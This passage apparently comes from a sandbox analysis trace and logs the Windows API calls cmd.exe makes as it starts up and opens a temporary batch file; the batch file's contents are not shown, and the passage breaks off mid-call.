"0x660" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x650" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\TEMP\\sUujcz.cmd" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 988 os_tid = 0x664 [0246.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fa50 | out: lpSystemTimeAsFileTime=0x24fa50*(dwLowDateTime=0xa79c1570, dwHighDateTime=0x1d5dff7)) [0246.513] GetCurrentProcessId () returned 0x660 [0246.513] GetCurrentThreadId () returned 0x664 [0246.513] GetTickCount () returned 0x113f8a2 [0246.513] QueryPerformanceCounter (in: lpPerformanceCount=0x24fa58 | out: lpPerformanceCount=0x24fa58*=15569553905) returned 1 [0246.514] GetModuleHandleW (lpModuleName=0x0) returned 0x4ac30000 [0246.514] __set_app_type (_Type=0x1) [0246.514] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ac57810) returned 0x0 [0246.514] __getmainargs (in: _Argc=0x4ac7a608, _Argv=0x4ac7a618, _Env=0x4ac7a610, _DoWildCard=0, _StartInfo=0x4ac5e0f4 | out: _Argc=0x4ac7a608, _Argv=0x4ac7a618, _Env=0x4ac7a610) returned 0 [0246.514] GetCurrentThreadId () returned 0x664 [0246.514] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x664) returned 0x3c [0246.515] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77230000 [0246.515] GetProcAddress (hModule=0x77230000, lpProcName="SetThreadUILanguage") returned 0x77246d40 [0246.515] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0246.515] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0246.515] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f9e8 | out: phkResult=0x24f9e8*=0x0) returned 0x2 [0246.515] VirtualQuery (in: lpAddress=0x24f9d0, lpBuffer=0x24f950, dwLength=0x30 | out: lpBuffer=0x24f950*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0246.515] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24f950, dwLength=0x30 | out: lpBuffer=0x24f950*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0246.516] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24f950, dwLength=0x30 | out: lpBuffer=0x24f950*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0246.516] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24f950, dwLength=0x30 | out: lpBuffer=0x24f950*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0246.516] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24f950, dwLength=0x30 | out: lpBuffer=0x24f950*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0246.516] GetConsoleOutputCP () returned 0x1b5 [0246.516] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac6bfe0 | out: lpCPInfo=0x4ac6bfe0) returned 1 [0246.516] SetConsoleCtrlHandler (HandlerRoutine=0x4ac53184, Add=1) returned 1 [0246.516] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.516] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0246.517] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.517] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac5e194 | out: lpMode=0x4ac5e194) returned 1 [0246.517] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.517] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0246.517] _get_osfhandle (_FileHandle=0) returned 0x3 [0246.517] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac5e198 | out: lpMode=0x4ac5e198) returned 1 [0246.518] _get_osfhandle (_FileHandle=0) returned 0x3 [0246.518] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0246.518] GetEnvironmentStringsW () returned 0x378af0* [0246.518] GetProcessHeap () returned 0x360000 [0246.518] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xa7c) returned 0x379580 [0246.518] FreeEnvironmentStringsW (penv=0x378af0) returned 1 [0246.518] GetProcessHeap () returned 0x360000 [0246.518] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x8) returned 0x378370 [0246.518] GetEnvironmentStringsW () returned 0x378af0* [0246.518] GetProcessHeap () returned 0x360000 [0246.518] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xa7c) returned 0x37a010 [0246.518] FreeEnvironmentStringsW (penv=0x378af0) returned 1 [0246.518] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e8a8 | out: phkResult=0x24e8a8*=0x44) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x0, lpData=0x24e8c0*=0x18, lpcbData=0x24e8a4*=0x1000) returned 0x2 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x1, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x0, lpData=0x24e8c0*=0x1, lpcbData=0x24e8a4*=0x1000) returned 0x2 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x0, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x40, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x40, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x0, lpData=0x24e8c0*=0x40, lpcbData=0x24e8a4*=0x1000) returned 0x2 [0246.519] RegCloseKey (hKey=0x44) returned 0x0 [0246.519] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e8a8 | out: phkResult=0x24e8a8*=0x44) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x0, lpData=0x24e8c0*=0x40, lpcbData=0x24e8a4*=0x1000) returned 0x2 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x1, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x0, lpData=0x24e8c0*=0x1, lpcbData=0x24e8a4*=0x1000) returned 0x2 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x0, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x9, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x4, lpData=0x24e8c0*=0x9, lpcbData=0x24e8a4*=0x4) returned 0x0 [0246.519] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e8a0, lpData=0x24e8c0, lpcbData=0x24e8a4*=0x1000 | out: lpType=0x24e8a0*=0x0, lpData=0x24e8c0*=0x9, lpcbData=0x24e8a4*=0x1000) returned 0x2 [0246.519] RegCloseKey (hKey=0x44) returned 0x0 [0246.519] time (in: timer=0x0 | out: timer=0x0) returned 0x5e41279b [0246.519] srand (_Seed=0x5e41279b) [0246.519] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\TEMP\\sUujcz.cmd" [0246.519] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\TEMP\\sUujcz.cmd" [0246.520] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.520] GetProcessHeap () returned 0x360000 [0246.520] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x218) returned 0x37aaa0 [0246.520] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x37aab0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0246.520] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0246.520] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0246.520] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0246.520] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0246.520] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0246.520] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0246.520] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0246.520] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0246.520] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0246.520] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0246.520] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0246.520] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0246.520] GetProcessHeap () returned 0x360000 [0246.520] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x379580 | out: hHeap=0x360000) returned 1 [0246.520] GetEnvironmentStringsW () returned 0x378af0* [0246.520] GetProcessHeap () returned 0x360000 [0246.520] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xa94) returned 0x37b760 [0246.521] FreeEnvironmentStringsW (penv=0x378af0) returned 1 [0246.521] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0246.521] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0246.521] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0246.521] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0246.521] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0246.521] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0246.521] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0246.521] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0246.521] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0246.521] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0246.521] GetProcessHeap () returned 0x360000 [0246.521] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x38) returned 0x3764e0 [0246.521] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f6b0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.521] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x24f6b0, lpFilePart=0x24f690 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24f690*="system32") returned 0x13 [0246.521] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0246.521] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x24f3c0 | out: lpFindFileData=0x24f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd0000dd, cFileName="Windows", cAlternateFileName="")) returned 0x378950 [0246.521] FindClose (in: hFindFile=0x378950 | out: hFindFile=0x378950) returned 1 [0246.522] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x24f3c0 | out: lpFindFileData=0x24f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdd0000dd, cFileName="System32", cAlternateFileName="")) returned 0x378950 [0246.522] FindClose (in: hFindFile=0x378950 | out: hFindFile=0x378950) returned 1 [0246.522] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0246.522] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0246.522] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0246.522] GetProcessHeap () returned 0x360000 [0246.522] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37b760 | out: hHeap=0x360000) returned 1 [0246.522] GetEnvironmentStringsW () returned 0x378af0* [0246.522] GetProcessHeap () returned 0x360000 [0246.522] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xac4) returned 0x37acc0 [0246.522] FreeEnvironmentStringsW (penv=0x378af0) returned 1 [0246.522] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.522] GetProcessHeap () returned 0x360000 [0246.522] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x3764e0 | out: hHeap=0x360000) returned 1 [0246.522] GetProcessHeap () returned 0x360000 [0246.522] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4016) returned 0x37ccd0 [0246.522] GetProcessHeap () returned 0x360000 [0246.522] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4a) returned 0x378950 [0246.523] GetProcessHeap () returned 0x360000 [0246.523] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccd0 | out: hHeap=0x360000) returned 1 [0246.523] GetConsoleOutputCP () returned 0x1b5 [0246.523] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac6bfe0 | out: lpCPInfo=0x4ac6bfe0) returned 1 [0246.523] GetUserDefaultLCID () returned 0x409 [0246.523] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ac67b50, cchData=8 | out: lpLCData=":") returned 2 [0246.523] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f7c0, cchData=128 | out: lpLCData="0") returned 2 [0246.523] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f7c0, cchData=128 | out: lpLCData="0") returned 2 [0246.523] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f7c0, cchData=128 | out: lpLCData="1") returned 2 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ac7a740, cchData=8 | out: lpLCData="/") returned 2 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ac7a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ac7a460, cchData=32 | out: lpLCData="Tue") returned 4 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ac7a420, cchData=32 | out: lpLCData="Wed") returned 4 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ac7a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ac7a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ac7a360, cchData=32 | out: lpLCData="Sat") returned 4 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ac7a700, cchData=32 | out: lpLCData="Sun") returned 4 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ac67b40, cchData=8 | out: lpLCData=".") returned 2 [0246.524] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ac7a4e0, cchData=8 | out: lpLCData=",") returned 2 [0246.524] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0246.525] GetProcessHeap () returned 0x360000 [0246.525] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x0, Size=0x20c) returned 0x37b800 [0246.525] GetConsoleTitleW (in: lpConsoleTitle=0x37b800, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0246.544] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77230000 [0246.544] GetProcAddress (hModule=0x77230000, lpProcName="CopyFileExW") returned 0x772423d0 [0246.544] GetProcAddress (hModule=0x77230000, lpProcName="IsDebuggerPresent") returned 0x77238290 [0246.544] GetProcAddress (hModule=0x77230000, lpProcName="SetConsoleInputExeNameW") returned 0x772417e0 [0246.544] GetProcessHeap () returned 0x360000 [0246.544] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4012) returned 0x37ccd0 [0246.544] GetProcessHeap () returned 0x360000 [0246.544] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccd0 | out: hHeap=0x360000) returned 1 [0246.546] _wcsicmp (_String1="C:\\Windows\\TEMP\\sUujcz.cmd", _String2=")") returned 58 [0246.546] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\TEMP\\sUujcz.cmd") returned 3 [0246.546] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\TEMP\\sUujcz.cmd") returned 3 [0246.546] _wcsicmp (_String1="IF", _String2="C:\\Windows\\TEMP\\sUujcz.cmd") returned 6 [0246.546] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\TEMP\\sUujcz.cmd") returned 6 [0246.546] _wcsicmp (_String1="REM", _String2="C:\\Windows\\TEMP\\sUujcz.cmd") returned 15 [0246.546] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\TEMP\\sUujcz.cmd") returned 15 [0246.546] GetProcessHeap () returned 0x360000 [0246.546] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0) returned 0x37ba20 [0246.546] GetProcessHeap () returned 0x360000 [0246.546] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x46) returned 0x378b20 [0246.547] GetConsoleTitleW (in: lpConsoleTitle=0x24f6d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0246.547] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0246.547] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0246.547] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x24f260, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x24f240, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x24f240*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0246.548] GetProcessHeap () returned 0x360000 [0246.548] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x218) returned 0x379af0 [0246.548] GetProcessHeap () returned 0x360000 [0246.548] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x46) returned 0x378b70 [0246.548] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0246.548] GetProcessHeap () returned 0x360000 [0246.548] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x420) returned 0x37bae0 [0246.548] SetErrorMode (uMode=0x0) returned 0x0 [0246.548] SetErrorMode (uMode=0x1) returned 0x0 [0246.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\TEMP\\.", nBufferLength=0x208, lpBuffer=0x37baf0, lpFilePart=0x24ef60 | out: lpBuffer="C:\\Windows\\TEMP", lpFilePart=0x24ef60*="TEMP") returned 0xf [0246.548] SetErrorMode (uMode=0x0) returned 0x1 [0246.548] GetProcessHeap () returned 0x360000 [0246.548] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x37bae0, Size=0x46) returned 0x37bae0 [0246.548] GetProcessHeap () returned 0x360000 [0246.548] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bae0) returned 0x46 [0246.548] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\TEMP\\.") returned 1 [0246.548] GetProcessHeap () returned 0x360000 [0246.548] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x36) returned 0x3764e0 [0246.548] GetProcessHeap () returned 0x360000 [0246.548] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x58) returned 0x379d10 [0246.549] GetProcessHeap () returned 0x360000 [0246.549] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379d10, Size=0x36) returned 0x379d10 [0246.549] GetProcessHeap () returned 0x360000 [0246.549] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379d10) returned 0x36 [0246.549] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0246.549] GetProcessHeap () returned 0x360000 [0246.549] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xe8) returned 0x379d70 [0246.552] GetProcessHeap () returned 0x360000 [0246.552] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379d70, Size=0x7e) returned 0x379d70 [0246.552] GetProcessHeap () returned 0x360000 [0246.552] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379d70) returned 0x7e [0246.553] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0246.553] FindFirstFileExW (in: lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd", fInfoLevelId=0x1, lpFindFileData=0x24ecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecd0) returned 0x379e00 [0246.553] GetProcessHeap () returned 0x360000 [0246.553] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x0, Size=0x28) returned 0x3745e0 [0246.554] FindClose (in: hFindFile=0x379e00 | out: hFindFile=0x379e00) returned 1 [0246.554] _wcsicmp (_String1=".cmd", _String2=".CMD") returned 0 [0246.554] GetConsoleTitleW (in: lpConsoleTitle=0x24f220, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0246.554] GetProcessHeap () returned 0x360000 [0246.554] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x1e8) returned 0x379e00 [0246.554] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefd670000 [0246.561] GetProcAddress (hModule=0x7fefd670000, lpProcName="SaferIdentifyLevel") returned 0x7fefd68e470 [0246.561] IdentifyCodeAuthzLevelW () returned 0x1 [0246.566] GetProcAddress (hModule=0x7fefd670000, lpProcName="SaferComputeTokenFromLevel") returned 0x7fefd68f9b0 [0246.566] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0246.566] GetProcAddress (hModule=0x7fefd670000, lpProcName="SaferCloseLevel") returned 0x7fefd68f660 [0246.566] CloseCodeAuthzLevel () returned 0x1 [0246.566] SetErrorMode (uMode=0x0) returned 0x0 [0246.566] SetErrorMode (uMode=0x1) returned 0x0 [0246.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd", nBufferLength=0x104, lpBuffer=0x379b00, lpFilePart=0x24f050 | out: lpBuffer="C:\\Windows\\TEMP\\sUujcz.cmd", lpFilePart=0x24f050*="sUujcz.cmd") returned 0x1a [0246.566] SetErrorMode (uMode=0x0) returned 0x1 [0246.566] GetProcessHeap () returned 0x360000 [0246.566] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x46) returned 0x378cb0 [0246.567] CmdBatNotification () returned 0x0 [0246.567] CreateFileW (lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd" (normalized: "c:\\windows\\temp\\suujcz.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x24f0b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c [0246.567] _open_osfhandle (_OSFileHandle=0x5c, _Flags=8) returned 3 [0246.567] _get_osfhandle (_FileHandle=3) returned 0x5c [0246.567] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.567] _get_osfhandle (_FileHandle=3) returned 0x5c [0246.567] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, 